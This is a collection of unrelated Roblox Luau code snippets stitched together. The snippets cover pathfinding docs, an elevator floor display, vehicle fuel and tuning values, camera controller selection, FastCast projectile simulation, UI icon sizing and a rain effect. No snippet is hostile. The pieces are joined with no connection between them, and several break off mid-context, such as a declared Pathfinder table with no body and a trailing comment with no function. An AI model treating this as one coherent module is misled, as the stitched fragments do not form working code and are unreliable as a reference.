--[[ ---------------------------------------------------------------------------------- API: - pathfinder:FindPath() - pathfinder:SetEmptyCutoff() - path:GetPointCoordinates() - path:CheckOcclusionAsync() EXAMPLES: - pathfinder = require(game.ServerScriptService.Pathfinder) - path = pathfinder:FindPath(startPosition, endPosition) - points = path:GetPointCoordinates() - index = path:CheckOcclusionAsync(startIndex) - pathfinder:SetEmptyCutoff(ratio) ---------------------------------------------------------------------------------- HOW TO USE -- Example Code: local pathfinder = require(game.ServerScriptService.Pathfinder) local points, status = pathfinder:FindPath(startPosition, endPosition) -- Where 'startPosition' and 'endPosition' are Vector3 values that -- represent the start and end positions of the path. ---------------------------------------------------------------------------------- BENEFITS OVER PATHFINDINGSERVICE: - Simplified path. Instead of having tons of points for every step of the way, this API will simplify the path by only keeping the important points: the start/end points for each straight or diagonal line. - No distance cap. You can find a path between as far of a distance as you want. The API will connect multiple max-length paths from the PathfindingService for you and return a single list of points. --]]
local Pathfinder = {} local API = {} local MT = {}
-- send helicopter's engine and the health value obj to server to start repairng -- send nil to server to cancel repair
--[=[ Promises a player userName with retries enabled. @param userId number @return Promise<string> ]=]
function PlayerThumbnailUtils.promiseUserName(userId) assert(type(userId) == "number", "Bad userId") local promise promise = Promise.spawn(function(resolve, reject) local tries = 0 repeat tries = tries + 1 local name local ok, err = pcall(function() name = Players:GetNameFromUserIdAsync(userId) end) -- Don't retry if we immediately error (timeout exceptions!) if not ok then return reject(err) end if type(name) == "string" then return resolve(name) else task.wait(0.05) end until tries >= MAX_TRIES or (not promise:IsPending()) reject() end) return promise end return PlayerThumbnailUtils
---------------------------------------------------
This = script.Parent Elevator = This.Parent.Parent.Parent CustomLabel = require(This.Parent.Parent.Parent.CustomLabel) Characters = require(script.Characters) ArwTime = 0.2 CustomText = CustomLabel["CUSTOMFLOORLABEL"] Elevator:WaitForChild("Floor").Changed:connect(function(floor) --custom indicator code-- ChangeFloor(tostring(floor)) end) function ChangeFloor(SF) if CustomText[tonumber(SF)] then SF = CustomText[tonumber(SF)] end SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL")) SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF)) end function SetDisplay(ID,CHAR) if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then for i,l in pairs(Characters[CHAR]) do for r=1,43 do This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 0.95) end end end end while wait() do if Elevator:WaitForChild("MotorMode").Value ~= "idle" then if Elevator:WaitForChild("Direction").Value == 1 then This.Display.ARW1.U1.Transparency = 0.8 This.Display.ARW1.U2.Transparency = 0.4 This.Display.ARW1.U3.Transparency = 0 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 0.8 This.Display.ARW1.U3.Transparency = 0.4 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 0.8 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) This.Display.ARW1.U1.Transparency = 0 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) This.Display.ARW1.U1.Transparency = 0.4 This.Display.ARW1.U2.Transparency = 0 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) elseif Elevator:WaitForChild("Direction").Value == -1 then This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 0.8 This.Display.ARW1.D2.Transparency = 0.4 This.Display.ARW1.D3.Transparency = 0 wait(ArwTime) This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 0.8 This.Display.ARW1.D3.Transparency = 0.4 wait(ArwTime) This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 0.8 wait(ArwTime) This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 0 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 0.4 This.Display.ARW1.D2.Transparency = 0 This.Display.ARW1.D3.Transparency = 1 wait(ArwTime) else This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 end else if Elevator:WaitForChild("Direction").Value == 1 then This.Display.ARW1.U1.Transparency = 0.8 This.Display.ARW1.U2.Transparency = 0.4 This.Display.ARW1.U3.Transparency = 0 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 elseif Elevator:WaitForChild("Direction").Value == -1 then This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 0.8 This.Display.ARW1.D2.Transparency = 0.4 This.Display.ARW1.D3.Transparency = 0 else This.Display.ARW1.U1.Transparency = 1 This.Display.ARW1.U2.Transparency = 1 This.Display.ARW1.U3.Transparency = 1 This.Display.ARW1.D1.Transparency = 1 This.Display.ARW1.D2.Transparency = 1 This.Display.ARW1.D3.Transparency = 1 end end if Elevator:WaitForChild("Mode").Value ~= "auto" then This.Legend.SurfaceGui.Enabled = true else This.Legend.SurfaceGui.Enabled = false end end
--//Script --Plaka()
CarColor() Stats.Locked.Changed:Connect(function() ToogleLock(Stats.Locked.Value) end) Stats.Color.Changed:Connect(function() CarColor() end) Fuel = script.Parent.Parent.Stats.Fuel MainPart = script.Parent.Parent.Body.Main while wait(.5) do if oldpos == nil then oldpos = MainPart.Position else newpos = MainPart.Position Fuel.Value = Fuel.Value - (oldpos - newpos).Magnitude/150 oldpos = newpos end end
--Editable Values
local Drag = .32 --Drag Coefficient local F = 105 --Downforce at 300 SPS local R = 100 --Downforce at 300 SPS local Vol = 1
--[=[ @return PROPERTY_MARKER Returns a marker that will transform the current key into a RemoteProperty once the service is created. Should only be called within the Client table of a service. An initial value can be passed along as well. RemoteProperties are great for replicating data to all of the clients. Different data can also be set per client. See [RemoteProperty](https://sleitnick.github.io/RbxUtil/api/RemoteProperty) documentation for more info. ```lua local MyService = Knit.CreateService { Name = "MyService"; Client = { -- Create the property marker, which will turn into a -- RemoteProperty when Knit.Start() is called: MyProperty = Knit.CreateProperty("HelloWorld") } } function MyService:KnitInit() -- Change the value of the property: self.Client.MyProperty:Set("HelloWorldAgain") end ``` ]=]
function KnitServer.CreateProperty(initialValue: any) return {PROPERTY_MARKER, initialValue} end
-- When supplied, legacyCameraType is used and cameraMovementMode is ignored (should be nil anyways) -- Next, if userCameraCreator is passed in, that is used as the cameraCreator
function CameraModule:ActivateCameraController(cameraMovementMode, legacyCameraType) local newCameraCreator = nil if legacyCameraType~=nil then --[[ This function has been passed a CameraType enum value. Some of these map to the use of the LegacyCamera module, the value "Custom" will be translated to a movementMode enum value based on Dev and User settings, and "Scriptable" will disable the camera controller. --]] if legacyCameraType == Enum.CameraType.Scriptable then if self.activeCameraController then self.activeCameraController:Enable(false) self.activeCameraController = nil return end elseif legacyCameraType == Enum.CameraType.Custom then cameraMovementMode = self:GetCameraMovementModeFromSettings() elseif legacyCameraType == Enum.CameraType.Track then -- Note: The TrackCamera module was basically an older, less fully-featured -- version of ClassicCamera, no longer actively maintained, but it is re-implemented in -- case a game was dependent on its lack of ClassicCamera's extra functionality. cameraMovementMode = Enum.ComputerCameraMovementMode.Classic elseif legacyCameraType == Enum.CameraType.Follow then cameraMovementMode = Enum.ComputerCameraMovementMode.Follow elseif legacyCameraType == Enum.CameraType.Orbital then cameraMovementMode = Enum.ComputerCameraMovementMode.Orbital elseif legacyCameraType == Enum.CameraType.Attach or legacyCameraType == Enum.CameraType.Watch or legacyCameraType == Enum.CameraType.Fixed then newCameraCreator = LegacyCamera else warn("CameraScript encountered an unhandled Camera.CameraType value: ",legacyCameraType) end end if not newCameraCreator then if cameraMovementMode == Enum.ComputerCameraMovementMode.Classic or cameraMovementMode == Enum.ComputerCameraMovementMode.Follow or cameraMovementMode == Enum.ComputerCameraMovementMode.Default or cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle then newCameraCreator = ClassicCamera elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Orbital then newCameraCreator = OrbitalCamera else --warn("ActivateCameraController did not select a module.") return end end local isVehicleCamera = self:ShouldUseVehicleCamera() if isVehicleCamera then newCameraCreator = VehicleCamera end -- Create the camera control module we need if it does not already exist in instantiatedCameraControllers local newCameraController if not instantiatedCameraControllers[newCameraCreator] then newCameraController = newCameraCreator.new() instantiatedCameraControllers[newCameraCreator] = newCameraController else newCameraController = instantiatedCameraControllers[newCameraCreator] if newCameraController.Reset then newCameraController:Reset() end end if self.activeCameraController then -- deactivate the old controller and activate the new one if self.activeCameraController ~= newCameraController then self.activeCameraController:Enable(false) self.activeCameraController = newCameraController self.activeCameraController:Enable(true) elseif not self.activeCameraController:GetEnabled() then self.activeCameraController:Enable(true) end elseif newCameraController ~= nil then -- only activate the new controller self.activeCameraController = newCameraController self.activeCameraController:Enable(true) end if self.activeCameraController then if cameraMovementMode~=nil then self.activeCameraController:SetCameraMovementMode(cameraMovementMode) elseif legacyCameraType~=nil then -- Note that this is only called when legacyCameraType is not a type that -- was convertible to a ComputerCameraMovementMode value, i.e. really only applies to LegacyCamera self.activeCameraController:SetCameraType(legacyCameraType) end end end
--[=[ Mounts children to the parent and returns an object which will cleanup and delete all children when removed. Note that this effectively recursively mounts children and their values, which is the heart of the reactive tree. ```lua Blend.New "ScreenGui" { Parent = game.Players.LocalPlayer.PlayerGui; [Blend.Children] = { Blend.New "Frame" { Size = UDim2.new(1, 0, 1, 0); BackgroundTransparency = 0.5; }; }; }; ``` Rules: * `{ Instance }` -Tables of instances are all parented to the parent * Brio<Instance> will last for the lifetime of the brio * Brio<Observable<Instance>> will last for the lifetime of the brio * Brio<Signal<Instance>> will also act as above * Brio<Promise<Instance>> will also act as above * Brio<{ Instance } will also act as above * Observable<Instance> will parent to the parent * Signal<Instance> will act as Observable<Instance> * ValueObject<Instance> will act as an Observable<Instance> * Promise<Instance> will act as an Observable<Instance> * will parent all instances to the parent * Observables may emit non-observables (in form of Computed/Dynamic) * Observable<Brio<Instance>> will last for the lifetime of the brio, and parent the instance. * Observable<Observable<Instance>> occurs when computed returns a value. * ValueObject<Instance> will switch to the current value Cleanup: * Instances will be cleaned up on unsubscribe @param parent Instance @param value any @return MaidTask ]=]
function Blend.Children(parent, value) assert(typeof(parent) == "Instance", "Bad parent") local observe = Blend._observeChildren(value) if observe then return observe:Pipe({ Rx.tap(function(child) child.Parent = parent; end); }) else return Rx.EMPTY end end
----- Script: -----
Button.Activated:Connect(function() if Information.Case.Value == 0 then Messages.Type.SelectPackage.Value = true Messages.FireMessage.Value = true elseif Information.Case.Value == 1 then BuyCaseEvents.Case1:FireServer(Information.PricePoints.Value,Information.PriceGems.Value,false) end end)
-- Ctor
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast if typeof(velocity) == "number" then velocity = direction.Unit * velocity end if (castDataPacket.HighFidelitySegmentSize <= 0) then error("Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!", 0) end -- Basic setup local cast = { Caster = caster, -- Data that keeps track of what's going on as well as edits we might make during runtime. StateInfo = { UpdateConnection = nil, Paused = false, TotalRuntime = 0, DistanceCovered = 0, HighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize, HighFidelityBehavior = castDataPacket.HighFidelityBehavior, IsActivelySimulatingPierce = false, IsActivelyResimulating = false, CancelHighResCast = false, Trajectories = { { StartTime = 0, EndTime = -1, Origin = origin, InitialVelocity = velocity, Acceleration = castDataPacket.Acceleration } } }, -- Information pertaining to actual raycasting. RayInfo = { Parameters = castDataPacket.RaycastParams, WorldRoot = workspace, MaxDistance = castDataPacket.MaxDistance or 1000, CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down. CanPierceCallback = castDataPacket.CanPierceFunction }, UserData = {} } if cast.StateInfo.HighFidelityBehavior == 2 then cast.StateInfo.HighFidelityBehavior = 3 end if cast.RayInfo.Parameters ~= nil then cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters) else cast.RayInfo.Parameters = RaycastParams.new() end local usingProvider = false if castDataPacket.CosmeticBulletProvider == nil then -- The provider is nil. Use a cosmetic object clone. if cast.RayInfo.CosmeticBulletObject ~= nil then cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone() cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction) cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer end else -- The provider is not nil. -- Is it what we want? if typeof(castDataPacket.CosmeticBulletProvider) == "PartCache" then -- this modded version of typeof is implemented up top. -- Aside from that, yes, it's a part cache. Good to go! if cast.RayInfo.CosmeticBulletObject ~= nil then -- They also set the template. Not good. Warn + clear this up. warn("Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.") cast.RayInfo.CosmeticBulletObject = nil castDataPacket.CosmeticBulletTemplate = nil end cast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart() cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction) usingProvider = true else warn("FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.") castDataPacket.CosmeticBulletProvider = nil end end local targetContainer: Instance; if usingProvider then targetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent else targetContainer = castDataPacket.CosmeticBulletContainer end if castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances if table.find(ignoreList, targetContainer) == nil then table.insert(ignoreList, targetContainer) cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList end end local event if RunService:IsClient() then event = RunService.RenderStepped else event = RunService.Heartbeat end setmetatable(cast, ActiveCastStatic) cast.StateInfo.UpdateConnection = event:Connect(function (delta) if cast.StateInfo.Paused then return end PrintDebug("Casting for frame.") local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories] if (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then local timeAtStart = tick() if cast.StateInfo.IsActivelyResimulating then cast:Terminate() error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.") end cast.StateInfo.IsActivelyResimulating = true -- Actually want to calculate this early to find displacement local origin = latestTrajectory.Origin local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime local initialVelocity = latestTrajectory.InitialVelocity local acceleration = latestTrajectory.Acceleration local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration) local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime cast.StateInfo.TotalRuntime += delta -- Recalculate this. totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime local currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration) local currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration) local totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now. local rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta local targetWorldRoot = cast.RayInfo.WorldRoot local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, cast.RayInfo.Parameters) local point = currentPoint if (resultOfCast ~= nil) then point = resultOfCast.Position end local rayDisplacement = (point - lastPoint).Magnitude -- Now undo this. The line below in the for loop will add this time back gradually. cast.StateInfo.TotalRuntime -= delta -- And now that we have displacement, we can calculate segment size. local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments if (numSegmentsReal == 0) then numSegmentsReal = 1 end local timeIncrement = delta / numSegmentsReal for segmentIndex = 1, numSegmentsReal do if getmetatable(cast) == nil then return end -- Could have been disposed. if cast.StateInfo.CancelHighResCast then cast.StateInfo.CancelHighResCast = false break end PrintDebug("[" .. segmentIndex .. "] Subcast of time increment " .. timeIncrement) SimulateCast(cast, timeIncrement, true) end if getmetatable(cast) == nil then return end -- Could have been disposed. cast.StateInfo.IsActivelyResimulating = false if (tick() - timeAtStart) > 0.016 * 5 then warn("Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.") end else SimulateCast(cast, delta, false) end end) return cast end function ActiveCastStatic.SetStaticFastCastReference(ref) FastCast = ref end
-- Carregue a animação no animador
local idleAnimationTrack = animator:LoadAnimation(idleAnimation)
--Made by Luckymaxer
Players = game:GetService("Players") Debris = game:GetService("Debris") Functions = {} function Functions.IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function Functions.TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function Functions.UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end return Functions
------------------------------------------------------------------------ -- Expression parsing starts here. Function subexpr is entered with the -- left operator (which is non-existent) priority of -1, which is lower -- than all actual operators. Expr information is returned in parm v. -- * used in multiple locations ------------------------------------------------------------------------
function luaY:expr(ls, v) self:subexpr(ls, v, 0) end
-- loop to handle timed state transitions
while Character.Parent ~= nil do local currentGameTime = wait(0.1) stepAnimate(currentGameTime) end
-- part3.Anchored = true
part3.Position = Vector3.new(x3,1.5,z3)
-- Make a base cosmetic bullet object. This will be cloned every time we fire off a ray.
local CosmeticBullet = Instance.new("Part") CosmeticBullet.Material = Enum.Material.Neon CosmeticBullet.Color = Color3.fromRGB(8, 255, 8) CosmeticBullet.CanCollide = false CosmeticBullet.Anchored = true CosmeticBullet.Size = Vector3.new(0.75, 0.75, 2.4)
--!GENERATED
local Rain = require(script.Rain) Rain:SetColor(Color3.fromRGB(script.Color.Value.x, script.Color.Value.y, script.Color.Value.z)) Rain:SetDirection(script.Direction.Value) Rain:SetTransparency(script.Transparency.Value) Rain:SetSpeedRatio(script.SpeedRatio.Value) Rain:SetIntensityRatio(script.IntensityRatio.Value) Rain:SetLightInfluence(script.LightInfluence.Value) Rain:SetLightEmission(script.LightEmission.Value) Rain:SetVolume(script.Volume.Value) Rain:SetSoundId(script.SoundId.Value) Rain:SetStraightTexture(script.StraightTexture.Value) Rain:SetTopDownTexture(script.TopDownTexture.Value) Rain:SetSplashTexture(script.SplashTexture.Value) local threshold = script.TransparencyThreshold.Value if script.TransparencyConstraint.Value and script.CanCollideConstraint.Value then Rain:SetCollisionMode( Rain.CollisionMode.Function, function(p) return p.Transparency <= threshold and p.CanCollide end ) elseif script.TransparencyConstraint.Value then Rain:SetCollisionMode( Rain.CollisionMode.Function, function(p) return p.Transparency <= threshold end ) elseif script.CanCollideConstraint.Value then Rain:SetCollisionMode( Rain.CollisionMode.Function, function(p) return p.CanCollide end ) end Rain:Enable()
------------------ --SPAWNING-- ------------------ -- credit to miked
miked=script.Parent itlh=miked.Torso:findFirstChild("Left Hip") itlh.Part0=miked.Torso itlh.Part1=miked:findFirstChild("Left Leg") itlh.C0=CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) itrh=miked.Torso:findFirstChild("Right Hip") itrh.Part0=miked.Torso itrh.Part1=miked:findFirstChild("Right Leg") itrh.C0=CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) itls=miked.Torso:findFirstChild("Left Shoulder") itls.Part1=miked.Torso itls.C0=CFrame.new(2, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) itls.Part0=miked:findFirstChild("Left Arm") itrs=miked.Torso:findFirstChild("Right Shoulder") itrs.Part1=miked.Torso itrs.C0=CFrame.new(-2, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) itrs.Part0=miked:findFirstChild("Right Arm") miked.Head:makeJoints()
-- TOGGLEABLE METHODS
function Icon:setLabel(text, iconState) text = text or "" self:set("iconText", text, iconState) return self end function Icon:setCornerRadius(scale, offset, iconState) local oldCornerRadius = self.instances.iconCorner.CornerRadius local newCornerRadius = UDim.new(scale or oldCornerRadius.Scale, offset or oldCornerRadius.Offset) self:set("iconCornerRadius", newCornerRadius, iconState) return self end function Icon:setImage(imageId, iconState) local textureId = (tonumber(imageId) and "http://www.roblox.com/asset/?id="..imageId) or imageId or "" return self:set("iconImage", textureId, iconState) end function Icon:setOrder(order, iconState) local newOrder = tonumber(order) or 1 return self:set("order", newOrder, iconState) end function Icon:setLeft(iconState) return self:set("alignment", "left", iconState) end function Icon:setMid(iconState) return self:set("alignment", "mid", iconState) end function Icon:setRight(iconState) if not self.internalIcon then IconController.setupHealthbar() end return self:set("alignment", "right", iconState) end function Icon:setImageYScale(YScale, iconState) local newYScale = tonumber(YScale) or 0.63 return self:set("iconImageYScale", newYScale, iconState) end function Icon:setImageRatio(ratio, iconState) local newRatio = tonumber(ratio) or 1 return self:set("iconImageRatio", newRatio, iconState) end function Icon:setLabelYScale(YScale, iconState) local newYScale = tonumber(YScale) or 0.45 return self:set("iconLabelYScale", newYScale, iconState) end function Icon:setBaseZIndex(ZIndex, iconState) local newBaseZIndex = tonumber(ZIndex) or 1 return self:set("baseZIndex", newBaseZIndex, iconState) end function Icon:_updateBaseZIndex(baseValue) local container = self.instances.iconContainer local newBaseValue = tonumber(baseValue) or container.ZIndex local difference = newBaseValue - container.ZIndex if difference == 0 then return "The baseValue is the same" end for _, object in pairs(self.instances) do object.ZIndex = object.ZIndex + difference end return true end function Icon:setSize(XOffset, YOffset, iconState) local newXOffset = tonumber(XOffset) or 32 local newYOffset = tonumber(YOffset) or newXOffset self:set("forcedIconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState) self:set("iconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState) return self end function Icon:_updateIconSize(_, iconState) if self._destroyed then return end -- This is responsible for handling the appearance and size of the icons label and image, in additon to its own size local X_MARGIN = 12 local X_GAP = 8 local values = { iconImage = self:get("iconImage", iconState) or "_NIL", iconText = self:get("iconText", iconState) or "_NIL", iconFont = self:get("iconFont", iconState) or "_NIL", iconSize = self:get("iconSize", iconState) or "_NIL", forcedIconSize = self:get("forcedIconSize", iconState) or "_NIL", iconImageYScale = self:get("iconImageYScale", iconState) or "_NIL", iconImageRatio = self:get("iconImageRatio", iconState) or "_NIL", iconLabelYScale = self:get("iconLabelYScale", iconState) or "_NIL", } for k,v in pairs(values) do if v == "_NIL" then return end end local iconContainer = self.instances.iconContainer if not iconContainer.Parent then return end -- We calculate the cells dimensions as apposed to reading because there's a possibility the cells dimensions were changed at the exact time and have not yet updated -- this essentially saves us from waiting a heartbeat which causes additonal complications local cellSizeXOffset = values.iconSize.X.Offset local cellSizeXScale = values.iconSize.X.Scale local cellWidth = cellSizeXOffset + (cellSizeXScale * iconContainer.Parent.AbsoluteSize.X) local minCellWidth = values.forcedIconSize.X.Offset--cellWidth local maxCellWidth = (cellSizeXScale > 0 and cellWidth) or 9999 local cellSizeYOffset = values.iconSize.Y.Offset local cellSizeYScale = values.iconSize.Y.Scale local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y) local labelHeight = cellHeight * values.iconLabelYScale local labelWidth = textService:GetTextSize(values.iconText, labelHeight, values.iconFont, Vector2.new(10000, labelHeight)).X local imageWidth = cellHeight * values.iconImageYScale * values.iconImageRatio local usingImage = values.iconImage ~= "" local usingText = values.iconText ~= "" local notifPosYScale = 0.5 local desiredCellWidth local preventClippingOffset = labelHeight/2 if usingImage and not usingText then notifPosYScale = 0.45 self:set("iconImageVisible", true, iconState) self:set("iconImageAnchorPoint", Vector2.new(0.5, 0.5), iconState) self:set("iconImagePosition", UDim2.new(0.5, 0, 0.5, 0), iconState) self:set("iconImageSize", UDim2.new(values.iconImageYScale*values.iconImageRatio, 0, values.iconImageYScale, 0), iconState) self:set("iconLabelVisible", false, iconState) elseif not usingImage and usingText then desiredCellWidth = labelWidth+(X_MARGIN*2) self:set("iconLabelVisible", true, iconState) self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState) self:set("iconLabelPosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState) self:set("iconLabelSize", UDim2.new(1, -X_MARGIN*2, values.iconLabelYScale, preventClippingOffset), iconState) self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Center, iconState) self:set("iconImageVisible", false, iconState) elseif usingImage and usingText then local labelGap = X_MARGIN + imageWidth + X_GAP desiredCellWidth = labelGap + labelWidth + X_MARGIN self:set("iconImageVisible", true, iconState) self:set("iconImageAnchorPoint", Vector2.new(0, 0.5), iconState) self:set("iconImagePosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState) self:set("iconImageSize", UDim2.new(0, imageWidth, values.iconImageYScale, 0), iconState) ---- self:set("iconLabelVisible", true, iconState) self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState) self:set("iconLabelPosition", UDim2.new(0, labelGap, 0.5, 0), iconState) self:set("iconLabelSize", UDim2.new(1, -labelGap-X_MARGIN, values.iconLabelYScale, preventClippingOffset), iconState) self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Left, iconState) end if desiredCellWidth then if not self._updatingIconSize then self._updatingIconSize = true local widthScale = (cellSizeXScale > 0 and cellSizeXScale) or 0 local widthOffset = (cellSizeXScale > 0 and 0) or math.clamp(desiredCellWidth, minCellWidth, maxCellWidth) self:set("iconSize", UDim2.new(widthScale, widthOffset, values.iconSize.Y.Scale, values.iconSize.Y.Offset), iconState, "_ignorePrevious") -- This ensures that if an icon is within a dropdown or menu, its container adapts accordingly with this new iconSize value local parentIcon = self._parentIcon if parentIcon then local originalIconSize = UDim2.new(0, desiredCellWidth, 0, values.iconSize.Y.Offset) if #parentIcon.dropdownIcons > 0 then self:setAdditionalValue("iconSize", "beforeDropdown", originalIconSize, iconState) parentIcon:_updateDropdown() end if #parentIcon.menuIcons > 0 then self:setAdditionalValue("iconSize", "beforeMenu", originalIconSize, iconState) parentIcon:_updateMenu() end end self._updatingIconSize = false end end self:set("iconLabelTextSize", labelHeight, iconState) self:set("noticeFramePosition", UDim2.new(notifPosYScale, 0, 0, -2), iconState) self._updatingIconSize = false end
--[[Misc]]
Tune.LoadDelay = .1 -- Delay before initializing chassis (in seconds) Tune.AutoStart = false -- Set to false if using manual ignition plugin Tune.AutoFlip = false -- Set to false if using manual flip plugin
--returns a table of vector3s that represent the corners of any given part
